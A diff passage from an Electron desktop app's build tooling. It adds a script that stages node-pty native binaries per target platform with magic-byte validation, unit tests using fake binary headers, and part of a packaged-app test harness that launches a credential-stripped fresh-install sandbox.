+        scan(join(dir, entry.name), `${relPrefix}${entry.name}/`)
+        continue
+      }
+      if (!entry.name.endsWith('.node')) continue
+      const fullPath = join(dir, entry.name)
+      const classified = classifyNativeBinary(fullPath)
+      if (classified !== targetPlatform) {
+        mismatches.push({ file: `${relPrefix}${entry.name}`, classified, expected: targetPlatform })
+      }
+    }
+  }
+  scan(join(destRoot, 'prebuilds'), 'prebuilds/')
+  scan(join(destRoot, 'build', 'Release'), 'build/Release/')
+  if (mismatches.length > 0) {
+    throw new Error(
+      `[stage-native-deps] native binary platform mismatch (target=${targetPlatform}):\n` +
+        mismatches
+          .map((m) => `  ${m.file}: expected ${m.expected}, got ${m.classified ?? 'unknown'}`)
+          .join('\n') +
+        `\nRefusing to stage a binary compiled for the wrong platform.`
+    )
+  }
+}
+
+/**
+ * Stage node-pty's native runtime dependencies into `destRoot`.
+ *
+ * Exported separately from `stageNodePty` so tests can supply a fake
+ * node-pty source tree without going through real module resolution.
+ *
+ * Strategy (fail-closed):
+ *
+ * 1. Copy the matching prebuild (`prebuilds/<platform>-<arch>/`) if present.
+ * 2. Copy `build/Release/` **only when the target matches the host** —
+ *    build/Release contains a binary compiled for the host's platform/arch,
+ *    so staging it for a different target ships a broken app.
+ * 3. If no native binary was staged:
+ *    - Same platform as host, different arch → run `electron-rebuild --arch`.
+ *    - Different platform from host → throw (cannot cross-compile native
+ *      modules; build on the target platform or provide a prebuild).
+ * 4. Validate every staged `.node` file's binary platform matches the target.
+ */
+export function stageNodePtyInto(srcRoot, destRoot, { platform = process.platform, arch = process.arch } = {}) {
+  const hostMatch = platform === process.platform && arch === process.arch
+
+  rmSync(destRoot, { recursive: true, force: true })
+  mkdirSync(destRoot, { recursive: true })
+
+  // package.json — needed so `require('node-pty')` resolves the package
+  // (reads "main") rather than treating it as a directory with no entry.
+  cpSync(join(srcRoot, 'package.json'), join(destRoot, 'package.json'))
+
+  // lib/**/*.js — the JS surface node-pty's `main` points into.
+  copyGlobByExt(join(srcRoot, 'lib'), join(destRoot, 'lib'), ['.js'])
+  patchUnixTerminalAsarPaths(destRoot)
+
+  // prebuilds/<platform>-<arch>/* — the prebuild-install payload for the
+  // *target* we're packaging, not necessarily the host running this script.
+  // Explicit extensions only, to skip the ~25MB of Windows .pdb symbols
+  // prebuild-install bundles alongside the .node/.dll.
+  const prebuildDir = join(srcRoot, 'prebuilds', `${platform}-${arch}`)
+  if (existsSync(prebuildDir)) {
+    const destPrebuild = join(destRoot, 'prebuilds', `${platform}-${arch}`)
+    mkdirSync(destPrebuild, { recursive: true })
+    for (const entry of readdirSync(prebuildDir, { withFileTypes: true })) {
+      if (entry.name === 'conpty' && entry.isDirectory()) {
+        cpSync(join(prebuildDir, 'conpty'), join(destPrebuild, 'conpty'), { recursive: true })
+        continue
+      }
+      if (entry.isFile() && /\.(node|dll|exe)$/.test(entry.name)) {
+        cpSync(join(prebuildDir, entry.name), join(destPrebuild, entry.name))
+        continue
+      }
+      if (entry.name === 'spawn-helper') {
+        const destFile = join(destPrebuild, entry.name)
+        cpSync(join(prebuildDir, entry.name), destFile)
+        makeExecutable(destFile)
+      }
+    }
+  }
+
+  // build/Release/* — present when node-pty was compiled locally
+  // (e.g. no prebuild available for this Electron ABI/platform combo).
+  // Only stage this when the target matches the host, because
+  // build/Release contains a binary compiled for the *host's* platform
+  // and architecture. Staging a host binary for a different target (e.g.
+  // a macOS Mach-O .node staged for a linux-arm64 target) ships a broken
+  // app that crashes the first time a terminal is spawned.
+  if (hostMatch) {
+    const buildReleaseDir = join(srcRoot, 'build/Release')
+    copyBuildRelease(buildReleaseDir, join(destRoot, 'build/Release'))
+  }
+
+  // Check whether a native binary for this target was staged.
+  const stagedDirs = [
+    join(destRoot, 'prebuilds', `${platform}-${arch}`),
+    join(destRoot, 'build/Release')
+  ]
+  const hasNativeBinary = stagedDirs.some((dir) => {
+    if (!existsSync(dir)) return false
+    return readdirSync(dir, { recursive: true }).some((name) => String(name).endsWith('.node'))
+  })
+
+  if (!hasNativeBinary) {
+    if (platform !== process.platform) {
+      throw new Error(
+        `[stage-native-deps] no prebuilt binary for ${platform}-${arch} and ` +
+          `cannot cross-compile native modules from ${process.platform}-${process.arch}. ` +
+          `Build on the target platform or provide a prebuild.`
+      )
+    }
+    // Same platform, possibly different arch — rebuild from source with
+    // the target architecture so electron-rebuild produces the correct
+    // binary rather than defaulting to the host's arch.
+    console.log(
+      `[stage-native-deps] no native binary for ${platform}-${arch}; ` +
+        `running electron-rebuild (target arch: ${arch})...`
+    )
+    const rebuildArgs = [
+      'node_modules/.bin/electron-rebuild',
+      '-f',
+      '-w',
+      'node-pty',
+      '--arch',
+      arch
+    ]
+    const result = spawnSync(process.execPath, rebuildArgs, {
+      cwd: projectRoot,
+      stdio: 'inherit'
+    })
+    if (result.status !== 0) {
+      throw new Error(
+        `electron-rebuild failed for ${platform}-${arch} (exit ${result.status}). ` +
+          `Cannot stage node-pty without a native binary.`
+      )
+    }
+    // Re-copy build/Release after electron-rebuild populated it.
+    const buildReleaseDir = join(srcRoot, 'build/Release')
+    copyBuildRelease(buildReleaseDir, join(destRoot, 'build/Release'))
+  }
+
+  // Validate every staged .node binary matches the target platform.
+  validateStagedBinaries(destRoot, platform)
+
+  console.log(`[stage-native-deps] staged node-pty (${platform}-${arch}) -> ${destRoot}`)
+  return destRoot
+}
+
+export function stageNodePty({ platform = process.platform, arch = process.arch } = {}) {
+  const srcRoot = resolveNodePtyRoot()
+  const destRoot = resolve(projectRoot, 'dist/node_modules/node-pty')
+  return stageNodePtyInto(srcRoot, destRoot, { platform, arch })
+}
+
+// Allow direct CLI invocation: node scripts/stage-native-deps.mjs [platform] [arch]
+if (isMain(import.meta.url)) {
+  const [platform, arch] = process.argv.slice(2)
+  stageNodePty({ platform, arch })
+}
diff --git a/ui-desktop/scripts/stage-native-deps.test.mjs b/ui-desktop/scripts/stage-native-deps.test.mjs
new file mode 100644
index 000000000..1c829a944
--- /dev/null
+++ b/ui-desktop/scripts/stage-native-deps.test.mjs
@@ -0,0 +1,359 @@
+import assert from 'node:assert/strict'
+import fs, { existsSync } from 'node:fs'
+import os from 'node:os'
+import path from 'node:path'
+import { pathToFileURL } from 'node:url'
+import { test } from 'vitest'
+
+import {
+  stageNodePtyInto,
+  classifyNativeBinary
+} from '../scripts/stage-native-deps.mjs'
+
+const { join } = path
+
+// ─── fixtures ──────────────────────────────────────────────────────
+//
+// Create minimal fake .node files with correct magic bytes so the
+// binary classifier and the staging validator exercise real code paths
+// without needing actual native modules.
+
+/** Write a fake .node file with the given platform's magic bytes. */
+function makeFakeNode(filePath, platform) {
+  const headers = {
+    linux:   Buffer.from([0x7f, 0x45, 0x4c, 0x46, 0x00, 0x00, 0x00, 0x00]), // ELF
+    // On x64/arm64 Darwin, Mach-O binaries are stored little-endian on disk
+    // (MH_CIGAM_64 = cffaedfe). This is the form node-pty's prebuilds ship in.
+    darwin:  Buffer.from([0xcf, 0xfa, 0xed, 0xfe, 0x00, 0x00, 0x00, 0x00]), // Mach-O 64-bit LE (CIGAM_64)
+    win32:   Buffer.from([0x4d, 0x5a, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00]),  // MZ (PE)
+  }
+  fs.mkdirSync(path.dirname(filePath), { recursive: true })
+  fs.writeFileSync(filePath, headers[platform] ?? headers.linux)
+}
+
+/** Create a minimal fake node-pty source tree in a temp dir. */
+function makeFakeNodePty(srcRoot, { prebuildPlatform, prebuildArch } = {}) {
+  fs.mkdirSync(srcRoot, { recursive: true })
+  fs.writeFileSync(join(srcRoot, 'package.json'), JSON.stringify({ name: 'node-pty', main: 'lib/index.js' }))
+  fs.mkdirSync(join(srcRoot, 'lib'), { recursive: true })
+  fs.writeFileSync(join(srcRoot, 'lib', 'index.js'), 'module.exports = {};')
+
+  if (prebuildPlatform && prebuildArch) {
+    const prebuildDir = join(srcRoot, 'prebuilds', `${prebuildPlatform}-${prebuildArch}`)
+    makeFakeNode(join(prebuildDir, 'pty.node'), prebuildPlatform)
+  }
+}
+
+function makeFakeUnixTerminal(srcRoot) {
+  fs.writeFileSync(
+    join(srcRoot, 'lib', 'unixTerminal.js'),
+    [
+      "exports.resolveHelper = function (helperPath) {",
+      "  helperPath = helperPath.replace('app.asar', 'app.asar.unpacked');",
+      "  helperPath = helperPath.replace('node_modules.asar', 'node_modules.asar.unpacked');",
+      '  return helperPath;',
+      '};'
+    ].join('\n')
+  )
+}
+
+// ─── classifyNativeBinary tests ─────────────────────────────────────
+
+test('classifyNativeBinary detects ELF as linux', () => {
+  const tmp = fs.mkdtempSync(join(os.tmpdir(), 'clawcodex-stage-'))
+  try {
+    const f = join(tmp, 'test.node')
+    fs.writeFileSync(f, Buffer.from([0x7f, 0x45, 0x4c, 0x46, 0x00, 0x00]))
+    assert.equal(classifyNativeBinary(f), 'linux')
+  } finally {
+    fs.rmSync(tmp, { recursive: true, force: true })
+  }
+})
+
+test('classifyNativeBinary detects Mach-O 64-bit BE as darwin', () => {
+  const tmp = fs.mkdtempSync(join(os.tmpdir(), 'clawcodex-stage-'))
+  try {
+    const f = join(tmp, 'test.node')
+    fs.writeFileSync(f, Buffer.from([0xfe, 0xed, 0xfa, 0xcf, 0x00, 0x00]))
+    assert.equal(classifyNativeBinary(f), 'darwin')
+  } finally {
+    fs.rmSync(tmp, { recursive: true, force: true })
+  }
+})
+
+test('classifyNativeBinary detects Mach-O 64-bit LE (CIGAM_64) as darwin', () => {
+  const tmp = fs.mkdtempSync(join(os.tmpdir(), 'clawcodex-stage-'))
+  try {
+    const f = join(tmp, 'test.node')
+    fs.writeFileSync(f, Buffer.from([0xcf, 0xfa, 0xed, 0xfe, 0x00, 0x00]))
+    assert.equal(classifyNativeBinary(f), 'darwin')
+  } finally {
+    fs.rmSync(tmp, { recursive: true, force: true })
+  }
+})
+
+test('classifyNativeBinary detects Mach-O 32-bit BE as darwin', () => {
+  const tmp = fs.mkdtempSync(join(os.tmpdir(), 'clawcodex-stage-'))
+  try {
+    const f = join(tmp, 'test.node')
+    fs.writeFileSync(f, Buffer.from([0xfe, 0xed, 0xfa, 0xce, 0x00, 0x00]))
+    assert.equal(classifyNativeBinary(f), 'darwin')
+  } finally {
+    fs.rmSync(tmp, { recursive: true, force: true })
+  }
+})
+
+test('classifyNativeBinary detects Mach-O 32-bit LE (CIGAM) as darwin', () => {
+  const tmp = fs.mkdtempSync(join(os.tmpdir(), 'clawcodex-stage-'))
+  try {
+    const f = join(tmp, 'test.node')
+    fs.writeFileSync(f, Buffer.from([0xce, 0xfa, 0xed, 0xfe, 0x00, 0x00]))
+    assert.equal(classifyNativeBinary(f), 'darwin')
+  } finally {
+    fs.rmSync(tmp, { recursive: true, force: true })
+  }
+})
+
+test('classifyNativeBinary detects Fat/Universal BE (cafebabe) as darwin', () => {
+  const tmp = fs.mkdtempSync(join(os.tmpdir(), 'clawcodex-stage-'))
+  try {
+    const f = join(tmp, 'test.node')
+    fs.writeFileSync(f, Buffer.from([0xca, 0xfe, 0xba, 0xbe, 0x00, 0x00]))
+    assert.equal(classifyNativeBinary(f), 'darwin')
+  } finally {
+    fs.rmSync(tmp, { recursive: true, force: true })
+  }
+})
+
+test('classifyNativeBinary detects Fat/Universal LE (bebafeca / FAT_CIGAM) as darwin', () => {
+  const tmp = fs.mkdtempSync(join(os.tmpdir(), 'clawcodex-stage-'))
+  try {
+    const f = join(tmp, 'test.node')
+    fs.writeFileSync(f, Buffer.from([0xbe, 0xba, 0xfe, 0xca, 0x00, 0x00]))
+    assert.equal(classifyNativeBinary(f), 'darwin')
+  } finally {
+    fs.rmSync(tmp, { recursive: true, force: true })
+  }
+})
+
+test('classifyNativeBinary detects PE (MZ) as win32', () => {
+  const tmp = fs.mkdtempSync(join(os.tmpdir(), 'clawcodex-stage-'))
+  try {
+    const f = join(tmp, 'test.node')
+    fs.writeFileSync(f, Buffer.from([0x4d, 0x5a, 0x00, 0x00, 0x00, 0x00]))
+    assert.equal(classifyNativeBinary(f), 'win32')
+  } finally {
+    fs.rmSync(tmp, { recursive: true, force: true })
+  }
+})
+
+test('classifyNativeBinary returns null for unrecognized magic', () => {
+  const tmp = fs.mkdtempSync(join(os.tmpdir(), 'clawcodex-stage-'))
+  try {
+    const f = join(tmp, 'test.node')
+    fs.writeFileSync(f, Buffer.from([0x00, 0x00, 0x00, 0x00, 0x00, 0x00]))
+    assert.equal(classifyNativeBinary(f), null)
+  } finally {
+    fs.rmSync(tmp, { recursive: true, force: true })
+  }
+})
+
+test('classifyNativeBinary returns null for a missing file', () => {
+  assert.equal(classifyNativeBinary('/nonexistent/path/to/thing.node'), null)
+})
+
+// ─── cross-target regression tests ──────────────────────────────────
+//
+// The core bug: stageNodePty receives { platform, arch } from
+// electron-builder but unconditionally copies host build/Release, staging
+// a host binary for a foreign target. These tests prove the fix:
+//
+// 1. A host build/Release must NOT be staged for a foreign platform.
+// 2. A matching prebuild IS staged for a foreign target.
+// 3. A foreign target with no prebuild throws (fail closed).
+// 4. A host build/Release IS staged for a matching target.
+// 5. Validation rejects a binary whose magic bytes don't match the target.
+
+test('cross-target: host build/Release is NOT staged for a foreign platform', () => {
+  const tmp = fs.mkdtempSync(join(os.tmpdir(), 'clawcodex-stage-'))
+  try {
+    const srcRoot = join(tmp, 'node-pty')
+    const destRoot = join(tmp, 'dest')
+
+    // Create a node-pty tree with ONLY a host build/Release (no prebuild).
+    makeFakeNodePty(srcRoot)
+    const buildReleaseDir = join(srcRoot, 'build', 'Release')
+    makeFakeNode(join(buildReleaseDir, 'pty.node'), process.platform)
+
+    // Request a foreign platform (different from the host).
+    const foreignPlatform = process.platform === 'linux' ? 'darwin' : 'linux'
+
+    assert.throws(
+      () => stageNodePtyInto(srcRoot, destRoot, { platform: foreignPlatform, arch: 'x64' }),
+      /cannot cross-compile/i
+    )
+
+    // build/Release must NOT have been copied to the dest tree.
+    assert.equal(
+      existsSync(join(destRoot, 'build', 'Release', 'pty.node')),
+      false,
+      'host build/Release .node must not be staged for a foreign target'
+    )
+  } finally {
+    fs.rmSync(tmp, { recursive: true, force: true })
+  }
+})
+
+test('cross-target: matching prebuild IS staged for a foreign target', () => {
+  const tmp = fs.mkdtempSync(join(os.tmpdir(), 'clawcodex-stage-'))
+  try {
+    const srcRoot = join(tmp, 'node-pty')
+    const destRoot = join(tmp, 'dest')
+
+    // Host is (say) darwin. Request linux-x64, which has a prebuild.
+    const foreignPlatform = process.platform === 'linux' ? 'darwin' : 'linux'
+    makeFakeNodePty(srcRoot, { prebuildPlatform: foreignPlatform, prebuildArch: 'x64' })
+
+    // Also create a host build/Release that should NOT be staged.
+    makeFakeNode(join(srcRoot, 'build', 'Release', 'pty.node'), process.platform)
+
+    stageNodePtyInto(srcRoot, destRoot, { platform: foreignPlatform, arch: 'x64' })
+
+    // The foreign prebuild must be staged.
+    const stagedPrebuild = join(destRoot, 'prebuilds', `${foreignPlatform}-x64`, 'pty.node')
+    assert.equal(existsSync(stagedPrebuild), true, 'foreign prebuild must be staged')
+
+    // The host build/Release must NOT be staged.
+    assert.equal(
+      existsSync(join(destRoot, 'build', 'Release', 'pty.node')),
+      false,
+      'host build/Release must not be staged for a foreign target'
+    )
+  } finally {
+    fs.rmSync(tmp, { recursive: true, force: true })
+  }
+})
+
+test('cross-target: foreign target with no prebuild throws (fail closed)', () => {
+  const tmp = fs.mkdtempSync(join(os.tmpdir(), 'clawcodex-stage-'))
+  try {
+    const srcRoot = join(tmp, 'node-pty')
+    const destRoot = join(tmp, 'dest')
+
+    // Create a tree with a host build/Release but no foreign prebuild.
+    makeFakeNodePty(srcRoot)
+    makeFakeNode(join(srcRoot, 'build', 'Release', 'pty.node'), process.platform)
+
+    const foreignPlatform = process.platform === 'linux' ? 'darwin' : 'linux'
+
+    assert.throws(
+      () => stageNodePtyInto(srcRoot, destRoot, { platform: foreignPlatform, arch: 'x64' }),
+      /cannot cross-compile/i
+    )
+  } finally {
+    fs.rmSync(tmp, { recursive: true, force: true })
+  }
+})
+
+test('host-target: host build/Release IS staged for a matching target', () => {
+  const tmp = fs.mkdtempSync(join(os.tmpdir(), 'clawcodex-stage-'))
+  try {
+    const srcRoot = join(tmp, 'node-pty')
+    const destRoot = join(tmp, 'dest')
+
+    makeFakeNodePty(srcRoot)
+    makeFakeNode(join(srcRoot, 'build', 'Release', 'pty.node'), process.platform)
+
+    stageNodePtyInto(srcRoot, destRoot, { platform: process.platform, arch: process.arch })
+
+    assert.equal(
+      existsSync(join(destRoot, 'build', 'Release', 'pty.node')),
+      true,
+      'host build/Release must be staged for a matching target'
+    )
+  } finally {
+    fs.rmSync(tmp, { recursive: true, force: true })
+  }
+})
+
+test.skipIf(process.platform === 'win32')(
+  'host-target: staged node-pty resolves an already-unpacked helper and preserves executable helpers',
+  async () => {
+    const tmp = fs.mkdtempSync(join(os.tmpdir(), 'clawcodex-stage-'))
+    try {
+      const srcRoot = join(tmp, 'node-pty')
+      const destRoot = join(tmp, 'dest')
+      const prebuildDir = join(srcRoot, 'prebuilds', `${process.platform}-${process.arch}`)
+      const buildReleaseDir = join(srcRoot, 'build', 'Release')
+
+      makeFakeNodePty(srcRoot, {
+        prebuildPlatform: process.platform,
+        prebuildArch: process.arch
+      })
+      makeFakeUnixTerminal(srcRoot)
+      makeFakeNode(join(buildReleaseDir, 'pty.node'), process.platform)
+      fs.writeFileSync(join(prebuildDir, 'spawn-helper'), 'prebuild helper')
+      fs.writeFileSync(join(buildReleaseDir, 'spawn-helper'), 'build helper')
+      fs.chmodSync(join(prebuildDir, 'spawn-helper'), 0o644)
+      fs.chmodSync(join(buildReleaseDir, 'spawn-helper'), 0o644)
+
+      stageNodePtyInto(srcRoot, destRoot, { platform: process.platform, arch: process.arch })
+
+      const stagedUnixTerminalUrl = pathToFileURL(join(destRoot, 'lib', 'unixTerminal.js'))
+      stagedUnixTerminalUrl.searchParams.set('t', String(Date.now()))
+      const stagedUnixTerminal = await import(stagedUnixTerminalUrl.href)
+      const unpackedHelper = join(
+        tmp,
+        'ClawCodex.app',
+        'Contents',
+        'Resources',
+        'app.asar.unpacked',
+        'dist',
+        'node_modules',
+        'node-pty',
+        'prebuilds',
+        `${process.platform}-${process.arch}`,
+        'spawn-helper'
+      )
+      const nodeModulesUnpackedHelper = unpackedHelper.replace(
+        `${path.sep}node_modules${path.sep}`,
+        `${path.sep}node_modules.asar.unpacked${path.sep}`
+      )
+
+      assert.equal(stagedUnixTerminal.resolveHelper(unpackedHelper), unpackedHelper)
+      assert.equal(
+        stagedUnixTerminal.resolveHelper(nodeModulesUnpackedHelper),
+        nodeModulesUnpackedHelper
+      )
+      assert.equal(
+        fs.statSync(join(destRoot, 'prebuilds', `${process.platform}-${process.arch}`, 'spawn-helper')).mode & 0o777,
+        0o755
+      )
+      assert.equal(fs.statSync(join(destRoot, 'build', 'Release', 'spawn-helper')).mode & 0o777, 0o755)
+    } finally {
+      fs.rmSync(tmp, { recursive: true, force: true })
+    }
+  }
+)
+
+test('validation rejects a staged binary with the wrong platform magic', () => {
+  const tmp = fs.mkdtempSync(join(os.tmpdir(), 'clawcodex-stage-'))
+  try {
+    const srcRoot = join(tmp, 'node-pty')
+    const destRoot = join(tmp, 'dest')
+
+    // Create a prebuild dir that claims to be linux-x64 but contains
+    // a darwin (Mach-O) binary. This simulates the original bug where
+    // a host binary ends up in a foreign target's prebuild slot.
+    makeFakeNodePty(srcRoot, { prebuildPlatform: 'linux', prebuildArch: 'x64' })
+    // Overwrite the prebuild .node with the WRONG platform magic.
+    makeFakeNode(join(srcRoot, 'prebuilds', 'linux-x64', 'pty.node'), 'darwin')
+
+    assert.throws(
+      () => stageNodePtyInto(srcRoot, destRoot, { platform: 'linux', arch: 'x64' }),
+      /platform mismatch/i
+    )
+  } finally {
+    fs.rmSync(tmp, { recursive: true, force: true })
+  }
+})
diff --git a/ui-desktop/scripts/test-desktop.mjs b/ui-desktop/scripts/test-desktop.mjs
new file mode 100644
index 000000000..191ba9389
--- /dev/null
+++ b/ui-desktop/scripts/test-desktop.mjs
@@ -0,0 +1,442 @@
+import fs from 'node:fs'
+import os from 'node:os'
+import path from 'node:path'
+import { spawn, spawnSync } from 'node:child_process'
+import { fileURLToPath } from 'node:url'
+import { listPackage } from '@electron/asar'
+
+import PACKAGE_JSON from '../package.json' with { type: 'json' }
+
+const MODE = process.argv[2] || 'help'
+const ARCH = process.arch === 'arm64' ? 'arm64' : 'x64'
+const DESKTOP_ROOT = path.resolve(path.dirname(fileURLToPath(import.meta.url)), '..')
+const RELEASE_ROOT = path.join(DESKTOP_ROOT, 'release')
+const PLATFORM = process.platform
+
+// Platform-specific packaged-app layout. The thin installer ships an Electron
+// app shell plus extraResources (install-stamp.json + native-deps/) -- it
+// no longer bundles the ClawCodex Python payload (that's fetched at first
+// launch via install.ps1 / install.sh, per the Phase 1 thin-installer flow).
+const APP = (() => {
+  if (PLATFORM === 'darwin') {
+    const appPath = path.join(RELEASE_ROOT, `mac-${ARCH}`, 'ClawCodex.app')
+    return {
+      appPath,
+      binary: path.join(appPath, 'Contents', 'MacOS', 'ClawCodex'),
+      resourcesPath: path.join(appPath, 'Contents', 'Resources'),
+      asarPath: path.join(appPath, 'Contents', 'Resources', 'app.asar'),
+      unpackedDistIndex: path.join(appPath, 'Contents', 'Resources', 'app.asar.unpacked', 'dist', 'index.html')
+    }
+  }
+  if (PLATFORM === 'win32') {
+    const unpacked = path.join(RELEASE_ROOT, 'win-unpacked')
+    return {
+      appPath: unpacked,
+      binary: path.join(unpacked, 'ClawCodex.exe'),
+      resourcesPath: path.join(unpacked, 'resources'),
+      asarPath: path.join(unpacked, 'resources', 'app.asar'),
+      unpackedDistIndex: path.join(unpacked, 'resources', 'app.asar.unpacked', 'dist', 'index.html')
+    }
+  }
+  // linux unpacked layout matches windows but with different binary name
+  const unpacked = path.join(RELEASE_ROOT, 'linux-unpacked')
+  return {
+    appPath: unpacked,
+    binary: path.join(unpacked, 'ClawCodex'),
+    resourcesPath: path.join(unpacked, 'resources'),
+    asarPath: path.join(unpacked, 'resources', 'app.asar'),
+    unpackedDistIndex: path.join(unpacked, 'resources', 'app.asar.unpacked', 'dist', 'index.html')
+  }
+})()
+
+// Default CLAWCODEX_CONFIG_DIR for non-sandboxed runs -- matches main.ts's
+// resolveClawCodexHome(). On Windows it's %LOCALAPPDATA%\clawcodex; elsewhere
+// it's ~/.clawcodex. The fresh-install sandbox launchFresh() sets its own
+// CLAWCODEX_CONFIG_DIR and never touches this.
+const DEFAULT_CLAWCODEX_CONFIG_DIR = (() => {
+  if (PLATFORM === 'win32' && process.env.LOCALAPPDATA) {
+    return path.join(process.env.LOCALAPPDATA, 'clawcodex')
+  }
+  return path.join(os.homedir(), '.clawcodex')
+})()
+const VENV_ROOT = path.join(DEFAULT_CLAWCODEX_CONFIG_DIR, 'clawcodex', 'venv')
+const FRESH_SANDBOX_ROOT = path.join(os.tmpdir(), 'clawcodex-desktop-fresh-install')
+
+function die(message) {
+  console.error(`\n${message}`)
+  process.exit(1)
+}
+
+function run(command, args, options = {}) {
+  const result = spawnSync(command, args, {
+    cwd: options.cwd || DESKTOP_ROOT,
+    env: options.env || process.env,
+    shell: Boolean(options.shell) || PLATFORM === 'win32',
+    stdio: 'inherit'
+  })
+
+  if (result.status !== 0) {
+    die(`${command} ${args.join(' ')} failed`)
+  }
+}
+
+function exists(target) {
+  return fs.existsSync(target)
+}
+
+// Match node-pty native binding location to what the bundled electron-main.cjs
+// resolves at runtime. stage-native-deps.mjs stages node-pty into
+// dist/node_modules/node-pty, and dist/** is asarUnpacked (see package.json
+// build.asarUnpack), so in a packaged build it lands under
+// resources/app.asar.unpacked/dist/node_modules/node-pty — reachable by a bare
+// require('node-pty') from the bundle. Upstream node-pty 1.x is N-API based and
+// ships per-arch prebuilts under prebuilds/<platform>-<arch>/; nix/local builds
+// instead compile from source into build/Release/. The stage script copies
+// whichever is present, so we accept either as the native payload.
+function expectedNativeDepPaths() {
+  const root = path.join(APP.resourcesPath, 'app.asar.unpacked', 'dist', 'node_modules', 'node-pty')
+  const prebuildsDir = path.join(root, 'prebuilds', `${PLATFORM}-${ARCH}`)
+  const buildReleaseDir = path.join(root, 'build', 'Release')
+  return {
+    packageJson: path.join(root, 'package.json'),
+    prebuildsDir,
+    buildReleaseDir,
+    libIndex: path.join(root, 'lib', 'index.js')
+  }
+}
+
+function ensurePlatformBuilds() {
+  if (PLATFORM === 'darwin') return
+  if (PLATFORM === 'win32') return
+  if (PLATFORM === 'linux') return
+  die(
+    `Desktop bundle validation is only wired for darwin / win32 / linux; platform=${PLATFORM} is not supported.`
+  )
+}
+
+function ensurePackagedApp() {
+  if (process.env.CLAWCODEX_DESKTOP_SKIP_BUILD === '1' && exists(APP.binary)) {
+    return
+  }
+
+  run('npm', ['run', 'pack'])
+}
+
+function resolveDmgPath() {
+  if (!exists(RELEASE_ROOT)) {
+    return path.join(RELEASE_ROOT, `ClawCodex-${PACKAGE_JSON.version}-${ARCH}.dmg`)
+  }
+
+  const prefix = `ClawCodex-${PACKAGE_JSON.version}`
+  const candidates = fs
+    .readdirSync(RELEASE_ROOT)
+    .filter(name => name.endsWith('.dmg'))
+    .filter(name => name.startsWith(prefix))
+    .filter(name => name.includes(ARCH))
+    .sort((a, b) => {
+      const aMtime = fs.statSync(path.join(RELEASE_ROOT, a)).mtimeMs
+      const bMtime = fs.statSync(path.join(RELEASE_ROOT, b)).mtimeMs
+      return bMtime - aMtime
+    })
+
+  return candidates.length > 0
+    ? path.join(RELEASE_ROOT, candidates[0])
+    : path.join(RELEASE_ROOT, `ClawCodex-${PACKAGE_JSON.version}-${ARCH}.dmg`)
+}
+
+function resolveNsisPath() {
+  // electron-builder NSIS artifactName template is 'ClawCodex-${version}-${os}-${arch}.${ext}'
+  if (!exists(RELEASE_ROOT)) return null
+  const candidates = fs
+    .readdirSync(RELEASE_ROOT)
+    .filter(name => /\.exe$/i.test(name) && /win/i.test(name))
+    .sort((a, b) => {
+      const aMtime = fs.statSync(path.join(RELEASE_ROOT, a)).mtimeMs
+      const bMtime = fs.statSync(path.join(RELEASE_ROOT, b)).mtimeMs
+      return bMtime - aMtime
+    })
+  return candidates.length > 0 ? path.join(RELEASE_ROOT, candidates[0]) : null
+}
+
+function ensureDmg() {
+  if (PLATFORM !== 'darwin') {
+    die('DMG mode is macOS-only; on Windows use the `nsis` mode instead.')
+  }
+  if (process.env.CLAWCODEX_DESKTOP_SKIP_BUILD === '1' && exists(resolveDmgPath())) {
+    return
+  }
+  run('npm', ['run', 'dist:mac:dmg'])
+}
+
+function ensureNsis() {
+  if (PLATFORM !== 'win32') {
+    die('NSIS mode is win32-only; on macOS use the `dmg` mode instead.')
+  }
+  if (process.env.CLAWCODEX_DESKTOP_SKIP_BUILD === '1' && resolveNsisPath()) {
+    return
+  }
+  run('npm', ['run', 'dist:win:nsis'])
+}
+
+function openApp() {
+  if (!exists(APP.binary)) {
+    die(`Missing packaged app: ${APP.binary}`)
+  }
+
+  if (PLATFORM === 'darwin') {
+    run('open', ['-n', APP.appPath])
+  } else if (PLATFORM === 'win32') {
+    // Spawn detached so the test script exits while the app keeps running.
+    spawn(APP.binary, [], { detached: true, stdio: 'ignore' }).unref()
+  } else {
+    spawn(APP.binary, [], { detached: true, stdio: 'ignore' }).unref()
+  }
+}
+
+function openDmg() {
+  if (PLATFORM !== 'darwin') {
+    die('DMG mode is macOS-only.')
+  }
+  const dmgPath = resolveDmgPath()
+  if (!exists(dmgPath)) {
+    die(`Missing DMG: ${dmgPath}`)
+  }
+  run('open', [dmgPath])
+}
+
+const CREDENTIAL_ENV_SUFFIXES = [
+  '_API_KEY',
+  '_TOKEN',
+  '_SECRET',
+  '_PASSWORD',
+  '_CREDENTIALS',
+  '_ACCESS_KEY',
+  '_PRIVATE_KEY',
+  '_OAUTH_TOKEN'
+]
+
+const CREDENTIAL_ENV_NAMES = new Set([
+  'ANTHROPIC_BASE_URL',
+  'ANTHROPIC_TOKEN',
+  'AWS_ACCESS_KEY_ID',
+  'AWS_SECRET_ACCESS_KEY',
+  'AWS_SESSION_TOKEN',
+  'CUSTOM_API_KEY',
+  'GEMINI_BASE_URL',
+  'OPENAI_BASE_URL',
+  'OPENROUTER_BASE_URL',
+  'OLLAMA_BASE_URL',
+  'GROQ_BASE_URL',
+  'XAI_BASE_URL'
+])
+
+function isCredentialEnvVar(name) {
+  if (CREDENTIAL_ENV_NAMES.has(name)) return true
+  return CREDENTIAL_ENV_SUFFIXES.some(suffix => name.endsWith(suffix))
+}
+
+function launchFresh() {
+  if (!exists(APP.binary)) {
+    die(`Missing app executable: ${APP.binary}`)
+  }
+
+  const sandbox = fs.mkdtempSync(`${FRESH_SANDBOX_ROOT}-`)
+  const userDataDir = path.join(sandbox, 'electron-user-data')
+  const clawcodexHome = path.join(sandbox, 'clawcodex-home')
+  const cwd = path.join(sandbox, 'workspace')
+
+  fs.mkdirSync(userDataDir, { recursive: true })
+  fs.mkdirSync(clawcodexHome, { recursive: true })
+  fs.mkdirSync(cwd, { recursive: true })
+
+  // Strip every credential-shaped env var so the sandbox is actually fresh.
+  const env = {}
+  for (const [key, value] of Object.entries(process.env)) {
+    if (isCredentialEnvVar(key)) continue
+    env[key] = value
+  }
+
+  env.CLAWCODEX_DESKTOP_CWD = cwd
+  env.CLAWCODEX_DESKTOP_IGNORE_EXISTING = '1'
+  env.CLAWCODEX_DESKTOP_TEST_MODE = 'fresh-install'
+  env.CLAWCODEX_DESKTOP_USER_DATA_DIR = userDataDir
+  env.CLAWCODEX_CONFIG_DIR = clawcodexHome
+  delete env.CLAWCODEX_DESKTOP_CLAWCODEX
